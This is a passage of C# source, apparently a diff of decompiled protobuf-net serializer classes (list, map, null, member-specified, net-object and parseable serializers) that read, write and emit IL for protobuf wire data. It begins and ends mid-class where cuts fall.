if ((writePacked || packedWireType != WireType.None) && fieldNumber <= 0)
{
throw new ArgumentOutOfRangeException("fieldNumber");
}
if (!CanPack(packedWireType))
{
if (writePacked)
{
throw new InvalidOperationException("Only simple data-types can use packed encoding");
}
packedWireType = WireType.None;
}
this.fieldNumber = fieldNumber;
if (writePacked)
{
options |= 4;
}
this.packedWireType = packedWireType;
if ((object)declaredType == null)
{
throw new ArgumentNullException("declaredType");
}
if (declaredType.IsArray)
{
throw new ArgumentException("Cannot treat arrays as lists", "declaredType");
}
this.declaredType = declaredType;
this.concreteType = concreteType;
if (!RequireAdd)
{
return;
}
add = TypeModel.ResolveListAdd(model, declaredType, tail.ExpectedType, out var isList);
if (isList)
{
options |= 1;
string fullName = declaredType.FullName;
if (fullName != null && fullName.StartsWith("System.Data.Linq.EntitySet`1[["))
{
options |= 2;
}
}
if ((object)add == null)
{
throw new InvalidOperationException("Unable to resolve a suitable Add method for " + declaredType.FullName);
}
}
protected override void EmitRead(CompilerContext ctx, Local valueFrom)
{
bool returnList = ReturnList;
using Local local = (AppendToCollection ? ctx.GetLocalWithValue(ExpectedType, valueFrom) : new Local(ctx, declaredType));
using Local local2 = ((returnList && AppendToCollection && !Helpers.IsValueType(ExpectedType)) ? new Local(ctx, ExpectedType) : null);
if (!AppendToCollection)
{
ctx.LoadNullRef();
ctx.StoreValue(local);
}
else if (returnList && local2 != null)
{
ctx.LoadValue(local);
ctx.StoreValue(local2);
}
if ((object)concreteType != null)
{
ctx.LoadValue(local);
CodeLabel label = ctx.DefineLabel();
ctx.BranchIfTrue(label, @short: true);
ctx.EmitCtor(concreteType);
ctx.StoreValue(local);
ctx.MarkLabel(label);
}
bool castListForAdd = !add.DeclaringType.IsAssignableFrom(declaredType);
EmitReadList(ctx, local, Tail, add, packedWireType, castListForAdd);
if (returnList)
{
if (AppendToCollection && local2 != null)
{
ctx.LoadValue(local2);
ctx.LoadValue(local);
CodeLabel label2 = ctx.DefineLabel();
CodeLabel label3 = ctx.DefineLabel();
ctx.BranchIfEqual(label2, @short: true);
ctx.LoadValue(local);
ctx.Branch(label3, @short: true);
ctx.MarkLabel(label2);
ctx.LoadNullRef();
ctx.MarkLabel(label3);
}
else
{
ctx.LoadValue(local);
}
}
}
internal static void EmitReadList(CompilerContext ctx, Local list, IProtoSerializer tail, MethodInfo add, WireType packedWireType, bool castListForAdd)
{
using Local local = new Local(ctx, ctx.MapType(typeof(int)));
CodeLabel label = ((packedWireType == WireType.None) ? default(CodeLabel) : ctx.DefineLabel());
if (packedWireType != WireType.None)
{
ctx.LoadReaderWriter();
ctx.LoadValue(typeof(ProtoReader).GetProperty("WireType"));
ctx.LoadValue(2);
ctx.BranchIfEqual(label, @short: false);
}
ctx.LoadReaderWriter();
ctx.LoadValue(typeof(ProtoReader).GetProperty("FieldNumber"));
ctx.StoreValue(local);
CodeLabel label2 = ctx.DefineLabel();
ctx.MarkLabel(label2);
EmitReadAndAddItem(ctx, list, tail, add, castListForAdd);
ctx.LoadReaderWriter();
ctx.LoadValue(local);
ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("TryReadFieldHeader"));
ctx.BranchIfTrue(label2, @short: false);
if (packedWireType != WireType.None)
{
CodeLabel label3 = ctx.DefineLabel();
ctx.Branch(label3, @short: false);
ctx.MarkLabel(label);
ctx.LoadReaderWriter();
ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("StartSubItem"));
CodeLabel label4 = ctx.DefineLabel();
CodeLabel label5 = ctx.DefineLabel();
ctx.MarkLabel(label4);
ctx.LoadValue((int)packedWireType);
ctx.LoadReaderWriter();
ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("HasSubValue"));
ctx.BranchIfFalse(label5, @short: false);
EmitReadAndAddItem(ctx, list, tail, add, castListForAdd);
ctx.Branch(label4, @short: false);
ctx.MarkLabel(label5);
ctx.LoadReaderWriter();
ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("EndSubItem"));
ctx.MarkLabel(label3);
}
}
private static void EmitReadAndAddItem(CompilerContext ctx, Local list, IProtoSerializer tail, MethodInfo add, bool castListForAdd)
{
ctx.LoadAddress(list, list.Type);
if (castListForAdd)
{
ctx.Cast(add.DeclaringType);
}
Type expectedType = tail.ExpectedType;
bool returnsValue = tail.ReturnsValue;
if (tail.RequiresOldValue)
{
if (Helpers.IsValueType(expectedType) || !returnsValue)
{
using Local local = new Local(ctx, expectedType);
if (Helpers.IsValueType(expectedType))
{
ctx.LoadAddress(local, expectedType);
ctx.EmitCtor(expectedType);
}
else
{
ctx.LoadNullRef();
ctx.StoreValue(local);
}
tail.EmitRead(ctx, local);
if (!returnsValue)
{
ctx.LoadValue(local);
}
}
else
{
ctx.LoadNullRef();
tail.EmitRead(ctx, null);
}
}
else
{
if (!returnsValue)
{
throw new InvalidOperationException();
}
tail.EmitRead(ctx, null);
}
Type parameterType = add.GetParameters()[0].ParameterType;
if ((object)parameterType != expectedType)
{
if ((object)parameterType == ctx.MapType(typeof(object)))
{
ctx.CastToObject(expectedType);
}
else
{
if ((object)Helpers.GetUnderlyingType(parameterType) != expectedType)
{
throw new InvalidOperationException("Conflicting item/add type");
}
ConstructorInfo constructor = Helpers.GetConstructor(parameterType, new Type[1] { expectedType }, nonPublic: false);
ctx.EmitCtor(constructor);
}
}
ctx.EmitCall(add, list.Type);
if ((object)add.ReturnType != ctx.MapType(typeof(void)))
{
ctx.DiscardValue();
}
}
protected MethodInfo GetEnumeratorInfo(TypeModel model, out MethodInfo moveNext, out MethodInfo current)
{
return GetEnumeratorInfo(model, ExpectedType, Tail.ExpectedType, out moveNext, out current);
}
internal static MethodInfo GetEnumeratorInfo(TypeModel model, Type expectedType, Type itemType, out MethodInfo moveNext, out MethodInfo current)
{
Type type = null;
MethodInfo instanceMethod = Helpers.GetInstanceMethod(expectedType, "GetEnumerator", null);
Type type2 = null;
Type type3;
if ((object)instanceMethod != null)
{
type2 = instanceMethod.ReturnType;
type3 = type2;
moveNext = Helpers.GetInstanceMethod(type3, "MoveNext", null);
PropertyInfo property = Helpers.GetProperty(type3, "Current", nonPublic: false);
current = (((object)property == null) ? null : Helpers.GetGetMethod(property, nonPublic: false, allowInternal: false));
if ((object)moveNext == null && model.MapType(ienumeratorType).IsAssignableFrom(type3))
{
moveNext = Helpers.GetInstanceMethod(model.MapType(ienumeratorType), "MoveNext", null);
}
if ((object)moveNext != null && (object)moveNext.ReturnType == model.MapType(typeof(bool)) && (object)current != null && (object)current.ReturnType == itemType)
{
return instanceMethod;
}
moveNext = (current = (instanceMethod = null));
}
Type type4 = model.MapType(typeof(IEnumerable<>), demand: false);
if ((object)type4 != null)
{
type4 = type4.MakeGenericType(itemType);
type = type4;
}
if ((object)type != null && type.IsAssignableFrom(expectedType))
{
instanceMethod = Helpers.GetInstanceMethod(type, "GetEnumerator");
type2 = instanceMethod.ReturnType;
type3 = type2;
moveNext = Helpers.GetInstanceMethod(model.MapType(ienumeratorType), "MoveNext");
current = Helpers.GetGetMethod(Helpers.GetProperty(type3, "Current", nonPublic: false), nonPublic: false, allowInternal: false);
return instanceMethod;
}
type = model.MapType(ienumerableType);
instanceMethod = Helpers.GetInstanceMethod(type, "GetEnumerator");
type2 = instanceMethod.ReturnType;
type3 = type2;
moveNext = Helpers.GetInstanceMethod(type3, "MoveNext");
current = Helpers.GetGetMethod(Helpers.GetProperty(type3, "Current", nonPublic: false), nonPublic: false, allowInternal: false);
return instanceMethod;
}
protected override void EmitWrite(CompilerContext ctx, Local valueFrom)
{
using Local local = ctx.GetLocalWithValue(ExpectedType, valueFrom);
MethodInfo moveNext;
MethodInfo current;
MethodInfo enumeratorInfo = GetEnumeratorInfo(ctx.Model, out moveNext, out current);
Type returnType = enumeratorInfo.ReturnType;
bool writePacked = WritePacked;
using Local local2 = new Local(ctx, returnType);
using Local local3 = (writePacked ? new Local(ctx, ctx.MapType(typeof(SubItemToken))) : null);
if (writePacked)
{
ctx.LoadValue(fieldNumber);
ctx.LoadValue(2);
ctx.LoadReaderWriter();
ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("WriteFieldHeader"));
ctx.LoadValue(local);
ctx.LoadReaderWriter();
ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("StartSubItem"));
ctx.StoreValue(local3);
ctx.LoadValue(fieldNumber);
ctx.LoadReaderWriter();
ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("SetPackedField"));
}
ctx.LoadAddress(local, ExpectedType);
ctx.EmitCall(enumeratorInfo, ExpectedType);
ctx.StoreValue(local2);
using (ctx.Using(local2))
{
CodeLabel label = ctx.DefineLabel();
CodeLabel label2 = ctx.DefineLabel();
ctx.Branch(label2, @short: false);
ctx.MarkLabel(label);
ctx.LoadAddress(local2, returnType);
ctx.EmitCall(current, returnType);
Type expectedType = Tail.ExpectedType;
if ((object)expectedType != ctx.MapType(typeof(object)) && (object)current.ReturnType == ctx.MapType(typeof(object)))
{
ctx.CastFromObject(expectedType);
}
Tail.EmitWrite(ctx, null);
ctx.MarkLabel(label2);
ctx.LoadAddress(local2, returnType);
ctx.EmitCall(moveNext, returnType);
ctx.BranchIfTrue(label, @short: false);
}
if (writePacked)
{
ctx.LoadValue(local3);
ctx.LoadReaderWriter();
ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("EndSubItem"));
}
}
public override void Write(object value, ProtoWriter dest)
{
bool writePacked = WritePacked;
bool flag = (writePacked & CanUsePackedPrefix(value)) && value is ICollection;
SubItemToken token;
if (writePacked)
{
ProtoWriter.WriteFieldHeader(fieldNumber, WireType.String, dest);
if (flag)
{
ProtoWriter.WritePackedPrefix(((ICollection)value).Count, packedWireType, dest);
token = default(SubItemToken);
}
else
{
token = ProtoWriter.StartSubItem(value, dest);
}
ProtoWriter.SetPackedField(fieldNumber, dest);
}
else
{
token = default(SubItemToken);
}
bool flag2 = !SupportNull;
foreach (object item in (IEnumerable)value)
{
if (flag2 && item == null)
{
throw new NullReferenceException();
}
Tail.Write(item, dest);
}
if (writePacked)
{
if (flag)
{
ProtoWriter.ClearPackedField(fieldNumber, dest);
}
else
{
ProtoWriter.EndSubItem(token, dest);
}
}
}
private bool CanUsePackedPrefix(object obj)
{
return ArrayDecorator.CanUsePackedPrefix(packedWireType, Tail.ExpectedType);
}
public override object Read(object value, ProtoReader source)
{
try
{
int field = source.FieldNumber;
object obj = value;
if (value == null)
{
value = Activator.CreateInstance(concreteType);
}
bool flag = IsList && !SuppressIList;
if (packedWireType != WireType.None && source.WireType == WireType.String)
{
SubItemToken token = ProtoReader.StartSubItem(source);
if (flag)
{
IList list = (IList)value;
while (ProtoReader.HasSubValue(packedWireType, source))
{
list.Add(Tail.Read(null, source));
}
}
else
{
object[] array = new object[1];
while (ProtoReader.HasSubValue(packedWireType, source))
{
array[0] = Tail.Read(null, source);
add.Invoke(value, array);
}
}
ProtoReader.EndSubItem(token, source);
}
else if (flag)
{
IList list2 = (IList)value;
do
{
list2.Add(Tail.Read(null, source));
}
while (source.TryReadFieldHeader(field));
}
else
{
object[] array2 = new object[1];
do
{
array2[0] = Tail.Read(null, source);
add.Invoke(value, array2);
}
while (source.TryReadFieldHeader(field));
}
return (obj == value) ? null : value;
}
catch (TargetInvocationException ex)
{
if (ex.InnerException != null)
{
throw ex.InnerException;
}
throw;
}
}
}
@@ -0,0 +1,269 @@
using System;
using System.Collections.Generic;
using System.Reflection;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal class MapDecorator<TDictionary, TKey, TValue> : ProtoDecoratorBase where TDictionary : class, IDictionary<TKey, TValue>
{
private readonly Type concreteType;
private readonly IProtoSerializer keyTail;
private readonly int fieldNumber;
private readonly WireType wireType;
private static readonly MethodInfo indexerSet = GetIndexerSetter();
private static readonly TKey DefaultKey = (((object)typeof(TKey) == typeof(string)) ? ((TKey)(object)"") : default(TKey));
private static readonly TValue DefaultValue = (((object)typeof(TValue) == typeof(string)) ? ((TValue)(object)"") : default(TValue));
public override Type ExpectedType => typeof(TDictionary);
public override bool ReturnsValue => true;
public override bool RequiresOldValue => AppendToCollection;
private bool AppendToCollection { get; }
internal MapDecorator(TypeModel model, Type concreteType, IProtoSerializer keyTail, IProtoSerializer valueTail, int fieldNumber, WireType wireType, WireType keyWireType, WireType valueWireType, bool overwriteList)
: base((DefaultValue == null) ? ((ProtoDecoratorBase)new TagDecorator(2, valueWireType, strict: false, valueTail)) : ((ProtoDecoratorBase)new DefaultValueDecorator(model, DefaultValue, new TagDecorator(2, valueWireType, strict: false, valueTail))))
{
this.wireType = wireType;
this.keyTail = new DefaultValueDecorator(model, DefaultKey, new TagDecorator(1, keyWireType, strict: false, keyTail));
this.fieldNumber = fieldNumber;
this.concreteType = concreteType ?? typeof(TDictionary);
if (keyTail.RequiresOldValue)
{
throw new InvalidOperationException("Key tail should not require the old value");
}
if (!keyTail.ReturnsValue)
{
throw new InvalidOperationException("Key tail should return a value");
}
if (!valueTail.ReturnsValue)
{
throw new InvalidOperationException("Value tail should return a value");
}
AppendToCollection = !overwriteList;
}
private static MethodInfo GetIndexerSetter()
{
PropertyInfo[] properties = typeof(TDictionary).GetProperties(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic);
foreach (PropertyInfo propertyInfo in properties)
{
if (propertyInfo.Name != "Item" || (object)propertyInfo.PropertyType != typeof(TValue))
{
continue;
}
ParameterInfo[] indexParameters = propertyInfo.GetIndexParameters();
if (indexParameters != null && indexParameters.Length == 1 && (object)indexParameters[0].ParameterType == typeof(TKey))
{
MethodInfo setMethod = propertyInfo.GetSetMethod(nonPublic: true);
if ((object)setMethod != null)
{
return setMethod;
}
}
}
throw new InvalidOperationException("Unable to resolve indexer for map");
}
public override object Read(object untyped, ProtoReader source)
{
TDictionary val = (AppendToCollection ? ((TDictionary)untyped) : null);
if (val == null)
{
val = (TDictionary)Activator.CreateInstance(concreteType);
}
do
{
TKey key = DefaultKey;
TValue val2 = DefaultValue;
SubItemToken token = ProtoReader.StartSubItem(source);
int num;
while ((num = source.ReadFieldHeader()) > 0)
{
switch (num)
{
case 1:
key = (TKey)keyTail.Read(null, source);
break;
case 2:
val2 = (TValue)Tail.Read(Tail.RequiresOldValue ? ((object)val2) : null, source);
break;
default:
source.SkipField();
break;
}
}
ProtoReader.EndSubItem(token, source);
val[key] = val2;
}
while (source.TryReadFieldHeader(fieldNumber));
return val;
}
public override void Write(object untyped, ProtoWriter dest)
{
foreach (KeyValuePair<TKey, TValue> item in (TDictionary)untyped)
{
ProtoWriter.WriteFieldHeader(fieldNumber, wireType, dest);
SubItemToken token = ProtoWriter.StartSubItem(null, dest);
if (item.Key != null)
{
keyTail.Write(item.Key, dest);
}
if (item.Value != null)
{
Tail.Write(item.Value, dest);
}
ProtoWriter.EndSubItem(token, dest);
}
}
protected override void EmitWrite(CompilerContext ctx, Local valueFrom)
{
Type typeFromHandle = typeof(KeyValuePair<TKey, TValue>);
MethodInfo moveNext;
MethodInfo current;
MethodInfo enumeratorInfo = ListDecorator.GetEnumeratorInfo(ctx.Model, ExpectedType, typeFromHandle, out moveNext, out current);
Type returnType = enumeratorInfo.ReturnType;
MethodInfo getMethod = typeFromHandle.GetProperty("Key").GetGetMethod();
MethodInfo getMethod2 = typeFromHandle.GetProperty("Value").GetGetMethod();
using Local local = ctx.GetLocalWithValue(ExpectedType, valueFrom);
using Local local2 = new Local(ctx, returnType);
using Local local3 = new Local(ctx, typeof(SubItemToken));
using Local local4 = new Local(ctx, typeFromHandle);
ctx.LoadAddress(local, ExpectedType);
ctx.EmitCall(enumeratorInfo, ExpectedType);
ctx.StoreValue(local2);
using (ctx.Using(local2))
{
CodeLabel label = ctx.DefineLabel();
CodeLabel label2 = ctx.DefineLabel();
ctx.Branch(label2, @short: false);
ctx.MarkLabel(label);
ctx.LoadAddress(local2, returnType);
ctx.EmitCall(current, returnType);
if ((object)typeFromHandle != ctx.MapType(typeof(object)) && (object)current.ReturnType == ctx.MapType(typeof(object)))
{
ctx.CastFromObject(typeFromHandle);
}
ctx.StoreValue(local4);
ctx.LoadValue(fieldNumber);
ctx.LoadValue((int)wireType);
ctx.LoadReaderWriter();
ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("WriteFieldHeader"));
ctx.LoadNullRef();
ctx.LoadReaderWriter();
ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("StartSubItem"));
ctx.StoreValue(local3);
ctx.LoadAddress(local4, typeFromHandle);
ctx.EmitCall(getMethod, typeFromHandle);
ctx.WriteNullCheckedTail(typeof(TKey), keyTail, null);
ctx.LoadAddress(local4, typeFromHandle);
ctx.EmitCall(getMethod2, typeFromHandle);
ctx.WriteNullCheckedTail(typeof(TValue), Tail, null);
ctx.LoadValue(local3);
ctx.LoadReaderWriter();
ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("EndSubItem"));
ctx.MarkLabel(label2);
ctx.LoadAddress(local2, returnType);
ctx.EmitCall(moveNext, returnType);
ctx.BranchIfTrue(label, @short: false);
}
}
protected override void EmitRead(CompilerContext ctx, Local valueFrom)
{
using Local local = (AppendToCollection ? ctx.GetLocalWithValue(ExpectedType, valueFrom) : new Local(ctx, typeof(TDictionary)));
using Local local2 = new Local(ctx, typeof(SubItemToken));
using Local local3 = new Local(ctx, typeof(TKey));
using Local local4 = new Local(ctx, typeof(TValue));
using Local local5 = new Local(ctx, ctx.MapType(typeof(int)));
if (!AppendToCollection)
{
ctx.LoadNullRef();
ctx.StoreValue(local);
}
if ((object)concreteType != null)
{
ctx.LoadValue(local);
CodeLabel label = ctx.DefineLabel();
ctx.BranchIfTrue(label, @short: true);
ctx.EmitCtor(concreteType);
ctx.StoreValue(local);
ctx.MarkLabel(label);
}
CodeLabel label2 = ctx.DefineLabel();
ctx.MarkLabel(label2);
if ((object)typeof(TKey) == typeof(string))
{
ctx.LoadValue("");
ctx.StoreValue(local3);
}
else
{
ctx.InitLocal(typeof(TKey), local3);
}
if ((object)typeof(TValue) == typeof(string))
{
ctx.LoadValue("");
ctx.StoreValue(local4);
}
else
{
ctx.InitLocal(typeof(TValue), local4);
}
ctx.LoadReaderWriter();
ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("StartSubItem"));
ctx.StoreValue(local2);
CodeLabel label3 = ctx.DefineLabel();
CodeLabel label4 = ctx.DefineLabel();
ctx.Branch(label3, @short: false);
ctx.MarkLabel(label4);
ctx.LoadValue(local5);
CodeLabel codeLabel = ctx.DefineLabel();
CodeLabel codeLabel2 = ctx.DefineLabel();
CodeLabel codeLabel3 = ctx.DefineLabel();
ctx.Switch(new CodeLabel[3] { codeLabel, codeLabel2, codeLabel3 });
ctx.MarkLabel(codeLabel);
ctx.LoadReaderWriter();
ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("SkipField"));
ctx.Branch(label3, @short: false);
ctx.MarkLabel(codeLabel2);
keyTail.EmitRead(ctx, null);
ctx.StoreValue(local3);
ctx.Branch(label3, @short: false);
ctx.MarkLabel(codeLabel3);
Tail.EmitRead(ctx, Tail.RequiresOldValue ? local4 : null);
ctx.StoreValue(local4);
ctx.MarkLabel(label3);
ctx.EmitBasicRead("ReadFieldHeader", ctx.MapType(typeof(int)));
ctx.CopyValue();
ctx.StoreValue(local5);
ctx.LoadValue(0);
ctx.BranchIfGreater(label4, @short: false);
ctx.LoadValue(local2);
ctx.LoadReaderWriter();
ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("EndSubItem"));
ctx.LoadAddress(local, ExpectedType);
ctx.LoadValue(local3);
ctx.LoadValue(local4);
ctx.EmitCall(indexerSet);
ctx.LoadReaderWriter();
ctx.LoadValue(fieldNumber);
ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("TryReadFieldHeader"));
ctx.BranchIfTrue(label2, @short: false);
if (ReturnsValue)
{
ctx.LoadValue(local);
}
}
}
@@ -0,0 +1,77 @@
using System;
using System.Reflection;
using ProtoBuf.Compiler;
namespace ProtoBuf.Serializers;
internal sealed class MemberSpecifiedDecorator : ProtoDecoratorBase
{
private readonly MethodInfo getSpecified;
private readonly MethodInfo setSpecified;
public override Type ExpectedType => Tail.ExpectedType;
public override bool RequiresOldValue => Tail.RequiresOldValue;
public override bool ReturnsValue => Tail.ReturnsValue;
public MemberSpecifiedDecorator(MethodInfo getSpecified, MethodInfo setSpecified, IProtoSerializer tail)
: base(tail)
{
if ((object)getSpecified == null && (object)setSpecified == null)
{
throw new InvalidOperationException();
}
this.getSpecified = getSpecified;
this.setSpecified = setSpecified;
}
public override void Write(object value, ProtoWriter dest)
{
if ((object)getSpecified == null || (bool)getSpecified.Invoke(value, null))
{
Tail.Write(value, dest);
}
}
public override object Read(object value, ProtoReader source)
{
object result = Tail.Read(value, source);
if ((object)setSpecified != null)
{
setSpecified.Invoke(value, new object[1] { true });
}
return result;
}
protected override void EmitWrite(CompilerContext ctx, Local valueFrom)
{
if ((object)getSpecified == null)
{
Tail.EmitWrite(ctx, valueFrom);
return;
}
using Local local = ctx.GetLocalWithValue(ExpectedType, valueFrom);
ctx.LoadAddress(local, ExpectedType);
ctx.EmitCall(getSpecified);
CodeLabel label = ctx.DefineLabel();
ctx.BranchIfFalse(label, @short: false);
Tail.EmitWrite(ctx, local);
ctx.MarkLabel(label);
}
protected override void EmitRead(CompilerContext ctx, Local valueFrom)
{
if ((object)setSpecified == null)
{
Tail.EmitRead(ctx, valueFrom);
return;
}
using Local local = ctx.GetLocalWithValue(ExpectedType, valueFrom);
Tail.EmitRead(ctx, local);
ctx.LoadAddress(local, ExpectedType);
ctx.LoadValue(1);
ctx.EmitCall(setSpecified);
}
}
@@ -0,0 +1,67 @@
using System;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class NetObjectSerializer : IProtoSerializer
{
private readonly int key;
private readonly Type type;
private readonly BclHelpers.NetObjectOptions options;
public Type ExpectedType => type;
public bool ReturnsValue => true;
public bool RequiresOldValue => true;
public NetObjectSerializer(TypeModel model, Type type, int key, BclHelpers.NetObjectOptions options)
{
bool flag = (options & BclHelpers.NetObjectOptions.DynamicType) != 0;
this.key = (flag ? (-1) : key);
this.type = (flag ? model.MapType(typeof(object)) : type);
this.options = options;
}
public object Read(object value, ProtoReader source)
{
return BclHelpers.ReadNetObject(value, source, key, ((object)type == typeof(object)) ? null : type, options);
}
public void Write(object value, ProtoWriter dest)
{
BclHelpers.WriteNetObject(value, dest, key, options);
}
public void EmitRead(CompilerContext ctx, Local valueFrom)
{
ctx.LoadValue(valueFrom);
ctx.CastToObject(type);
ctx.LoadReaderWriter();
ctx.LoadValue(ctx.MapMetaKeyToCompiledKey(key));
if ((object)type == ctx.MapType(typeof(object)))
{
ctx.LoadNullRef();
}
else
{
ctx.LoadValue(type);
}
ctx.LoadValue((int)options);
ctx.EmitCall(ctx.MapType(typeof(BclHelpers)).GetMethod("ReadNetObject"));
ctx.CastFromObject(type);
}
public void EmitWrite(CompilerContext ctx, Local valueFrom)
{
ctx.LoadValue(valueFrom);
ctx.CastToObject(type);
ctx.LoadReaderWriter();
ctx.LoadValue(ctx.MapMetaKeyToCompiledKey(key));
ctx.LoadValue((int)options);
ctx.EmitCall(ctx.MapType(typeof(BclHelpers)).GetMethod("WriteNetObject"));
}
}
@@ -0,0 +1,150 @@
using System;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class NullDecorator : ProtoDecoratorBase
{
private readonly Type expectedType;
public const int Tag = 1;
public override Type ExpectedType => expectedType;
public override bool ReturnsValue => true;
public override bool RequiresOldValue => true;
public NullDecorator(TypeModel model, IProtoSerializer tail)
: base(tail)
{
if (!tail.ReturnsValue)
{
throw new NotSupportedException("NullDecorator only supports implementations that return values");
}
Type type = tail.ExpectedType;
if (Helpers.IsValueType(type))
{
expectedType = model.MapType(typeof(Nullable<>)).MakeGenericType(type);
}
else
{
expectedType = type;
}
}
protected override void EmitRead(CompilerContext ctx, Local valueFrom)
{
using Local local = ctx.GetLocalWithValue(expectedType, valueFrom);
using Local local2 = new Local(ctx, ctx.MapType(typeof(SubItemToken)));
using Local local3 = new Local(ctx, ctx.MapType(typeof(int)));
ctx.LoadReaderWriter();
ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("StartSubItem"));
ctx.StoreValue(local2);
CodeLabel label = ctx.DefineLabel();
CodeLabel label2 = ctx.DefineLabel();
CodeLabel label3 = ctx.DefineLabel();
ctx.MarkLabel(label);
ctx.EmitBasicRead("ReadFieldHeader", ctx.MapType(typeof(int)));
ctx.CopyValue();
ctx.StoreValue(local3);
ctx.LoadValue(1);
ctx.BranchIfEqual(label2, @short: true);
ctx.LoadValue(local3);
ctx.LoadValue(1);
ctx.BranchIfLess(label3, @short: false);
ctx.LoadReaderWriter();
ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("SkipField"));
ctx.Branch(label, @short: true);
ctx.MarkLabel(label2);
if (Tail.RequiresOldValue)
{
if (Helpers.IsValueType(expectedType))
{
ctx.LoadAddress(local, expectedType);
ctx.EmitCall(expectedType.GetMethod("GetValueOrDefault", Helpers.EmptyTypes));
}
else
{
ctx.LoadValue(local);
}
}
Tail.EmitRead(ctx, null);
if (Helpers.IsValueType(expectedType))
{
ctx.EmitCtor(expectedType, Tail.ExpectedType);
}
ctx.StoreValue(local);
ctx.Branch(label, @short: false);
ctx.MarkLabel(label3);
ctx.LoadValue(local2);
ctx.LoadReaderWriter();
ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("EndSubItem"));
ctx.LoadValue(local);
}
protected override void EmitWrite(CompilerContext ctx, Local valueFrom)
{
using Local local = ctx.GetLocalWithValue(expectedType, valueFrom);
using Local local2 = new Local(ctx, ctx.MapType(typeof(SubItemToken)));
ctx.LoadNullRef();
ctx.LoadReaderWriter();
ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("StartSubItem"));
ctx.StoreValue(local2);
if (Helpers.IsValueType(expectedType))
{
ctx.LoadAddress(local, expectedType);
ctx.LoadValue(expectedType.GetProperty("HasValue"));
}
else
{
ctx.LoadValue(local);
}
CodeLabel label = ctx.DefineLabel();
ctx.BranchIfFalse(label, @short: false);
if (Helpers.IsValueType(expectedType))
{
ctx.LoadAddress(local, expectedType);
ctx.EmitCall(expectedType.GetMethod("GetValueOrDefault", Helpers.EmptyTypes));
}
else
{
ctx.LoadValue(local);
}
Tail.EmitWrite(ctx, null);
ctx.MarkLabel(label);
ctx.LoadValue(local2);
ctx.LoadReaderWriter();
ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("EndSubItem"));
}
public override object Read(object value, ProtoReader source)
{
SubItemToken token = ProtoReader.StartSubItem(source);
int num;
while ((num = source.ReadFieldHeader()) > 0)
{
if (num == 1)
{
value = Tail.Read(value, source);
}
else
{
source.SkipField();
}
}
ProtoReader.EndSubItem(token, source);
return value;
}
public override void Write(object value, ProtoWriter dest)
{
SubItemToken token = ProtoWriter.StartSubItem(null, dest);
if (value != null)
{
Tail.Write(value, dest);
}
ProtoWriter.EndSubItem(token, dest);
}
}
@@ -0,0 +1,81 @@
using System;
using System.Reflection;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class ParseableSerializer : IProtoSerializer
{
private readonly MethodInfo parse;
public Type ExpectedType => parse.DeclaringType;
bool IProtoSerializer.RequiresOldValue => false;
bool IProtoSerializer.ReturnsValue => true;
public static ParseableSerializer TryCreate(Type type, TypeModel model)
{
if ((object)type == null)
{
throw new ArgumentNullException("type");
}
MethodInfo method = type.GetMethod("Parse", BindingFlags.DeclaredOnly | BindingFlags.Static | BindingFlags.Public, null, new Type[1] { model.MapType(typeof(string)) }, null);
if ((object)method != null && (object)method.ReturnType == type)
{
if (Helpers.IsValueType(type))
{
MethodInfo customToString = GetCustomToString(type);
if ((object)customToString == null || (object)customToString.ReturnType != model.MapType(typeof(string)))
{
return null;
}
}
return new ParseableSerializer(method);
}
return null;
}
private static MethodInfo GetCustomToString(Type type)
{
return type.GetMethod("ToString", BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Public, null, Helpers.EmptyTypes, null);
}
private ParseableSerializer(MethodInfo parse)
{
this.parse = parse;
}
public object Read(object value, ProtoReader source)
{
return parse.Invoke(null, new object[1] { source.ReadString() });
}
public void Write(object value, ProtoWriter dest)
{
ProtoWriter.WriteString(value.ToString(), dest);
}
void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom)
{
Type expectedType = ExpectedType;
if (Helpers.IsValueType(expectedType))
{
using Local local = ctx.GetLocalWithValue(expectedType, valueFrom);
ctx.LoadAddress(local, expectedType);
ctx.EmitCall(GetCustomToString(expectedType));
}
else
{
ctx.EmitCall(ctx.MapType(typeof(object)).GetMethod("ToString"));
}
ctx.EmitBasicWrite("WriteString", valueFrom);
}
void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom)
{
ctx.EmitBasicRead("ReadString", ctx.MapType(typeof(string)));
ctx.EmitCall(parse);
}
}
@@ -0,0 +1,161 @@
using System;
using System.Reflection;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class PropertyDecorator : ProtoDecoratorBase
{
private readonly PropertyInfo property;
private readonly Type forType;
private readonly bool readOptionsWriteValue;
private readonly MethodInfo shadowSetter;
public override Type ExpectedType => forType;
public override bool RequiresOldValue => true;
public override bool ReturnsValue => false;
